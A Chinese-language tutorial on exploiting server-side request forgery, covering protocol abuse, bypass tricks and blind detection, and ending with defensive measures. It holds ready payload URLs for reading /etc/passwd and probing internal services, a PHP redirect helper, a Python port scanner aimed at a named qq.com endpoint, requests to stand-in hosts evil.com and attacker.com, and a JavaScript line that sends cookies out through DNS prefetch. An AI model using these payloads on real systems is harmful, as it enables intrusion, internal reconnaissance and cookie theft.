SSRF在有无回显方面的利用及其思考与总结
字数 1655 2025-08-25 22:58:28
SSRF漏洞利用技术全面解析:从基础到高级利用
一、SSRF基础概念
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全漏洞,攻击者能够诱使服务器向攻击者指定的任意地址发起请求。
典型存在场景
http://www.xxx.com/vul.php?url=http://www.xxc.com/xxx.jpghttp://share.xxx.com/index.php?url=http://test.com
基本测试方法
http://www.xxx.com/vul.php?url=http://127.0.0.1:port,通过回显内容和状态判断漏洞是否存在。
二、有回显SSRF的利用技术
1. 协议利用
1.1 Gopher协议
http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
- 可构造任意TCP数据包
- 常用于攻击Redis、Memcached等内网服务
1.2 Dict协议
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:port/info
- 可用于获取服务信息
- 适用于端口探测
1.3 File协议
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
- 读取服务器本地文件
- 可获取敏感配置文件
1.4 HTTP协议
http://4o4notfound.org/ssrf.php?url=http://xxx.com/302.php
- 结合302跳转绕过协议限制
2. 绕过技术
2.1 IP限制绕过
- 使用xip.io域名:
127.0.0.1.xip.io - 十进制IP:
2130706433→127.0.0.1 - 八进制IP:
0177.0.0.1→127.0.0.1
2.2 协议限制绕过
- 302跳转:通过中间页面跳转到目标协议
- CRLF头注入:
%0d%0a注入HTTP头
2.3 302跳转辅助脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
使用示例:
- Dict协议:
/302.php?s=dict&ip=vul.comg&port=8080&data=helo:dict - Gopher协议:
/302.php?s=gopher&ip=vul.comg&port=8080&data=gopher
3. 常见危险函数实现
3.1 file_get_contents
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url']."";
$img = "";
}
echo $img;
?>
3.2 fsockopen
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3.3 curl_exec
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
4. 利用技巧
4.1 端口扫描
- 通过响应时间/错误信息判断端口开放状态
- 自动化扫描脚本示例:
#!/usr/bin/env python
import requests
port = '80'
for c in xrange(0,255):
for d in xrange(0,255):
ip = '10.xx.{0}.{1}'.format(c,d)
payload = 'http://{ip}:{port}/'.format(ip=ip,port=port)
url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(payload=payload)
if len(requests.get(url).content) != 9: # 已知正常响应长度
print ip, port, 'OPEN', requests.get(url).content
4.2 内网服务探测
- 识别常见内网服务(Redis, MySQL, Memcached等)
- 通过特定协议获取服务信息
三、无回显SSRF的利用技术
1. Bool型SSRF
- 仅返回True/False或成功/失败状态
- 利用步骤:
- 内网探测
- 应用识别
- 构造攻击Payload
- 查看结果
2. 盲打技术
2.1 URL Schema测试
测试所有可能的URL Schema:
file:///dict://sftp://ldap://tftp://gopher://
2.2 各协议利用细节
2.2.1 file://
读取本地文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
2.2.2 dict://
http://example.com/ssrf.php?dict://evil.com:1337/
服务器端会收到:
CLIENT libcurl 7.40.0
2.2.3 sftp://
http://example.com/ssrf.php?url=sftp://evil.com:1337/
服务器端会收到:
SSH-2.0-libssh2_1.4.2
2.2.4 ldap://
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
2.2.5 tftp://
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
服务器端会收到:
TESTUDPPACKEToctettsize0blksize512timeout3
2.2.6 gopher://
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php内容:
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
服务器端会收到:
Hi
ssrf
test
3. 无回显利用技巧
3.1 DNSLOG技术
http://10.10.107.1:8080/ssrf.php?url=http://php.nf9eex.dnslog.cn
- 通过DNS查询记录验证请求是否执行
- 绕过CSP示例:
document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".4q9z30.dnslog.cn'>"
3.2 盲打流程
- 验证URL Schema存在情况
- 自动化脚本探测内网
- 根据开放端口识别应用
- 构造针对性的攻击Payload
- 通过间接方式验证攻击结果
四、防御措施
- 禁止跳转:防止通过302跳转绕过协议限制
- 过滤返回信息:验证远程服务器响应是否符合预期格式
- 禁用不需要的协议:仅允许http和https请求
- 设置URL白名单:限制可访问的域名/IP
- 限制内网IP访问:使用gethostbyname()判断是否为内网IP
- 限制请求端口:仅允许80、443等常用HTTP端口
- 统一错误信息:避免通过错误信息判断端口状态